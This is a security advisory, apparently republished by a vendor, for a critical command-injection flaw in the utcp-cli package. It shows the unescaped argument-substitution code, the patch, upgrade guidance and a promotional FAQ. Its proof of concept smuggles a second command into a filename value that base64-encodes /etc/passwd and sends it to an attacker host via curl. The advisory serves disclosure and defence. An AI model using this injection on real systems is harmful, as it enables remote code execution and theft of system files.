CVE-2026-45369

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-45369 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45369? CVE-2026-45369 is a critical-severity OS command injection vulnerability in utcp-cli (pip), affecting versions <= 1.1.1. It is fixed in 1.1.2. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-45369? CVE-2026-45369 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of utcp-cli are affected by CVE-2026-45369? utcp-cli (pip) versions <= 1.1.1 is affected.
4. Is there a fix for CVE-2026-45369? Yes. CVE-2026-45369 is fixed in 1.1.2. Upgrade to this version or later.
5. Is CVE-2026-45369 exploitable, and should I be worried? Whether CVE-2026-45369 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45369 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45369? Upgrade utcp-cli to 1.1.2 or later.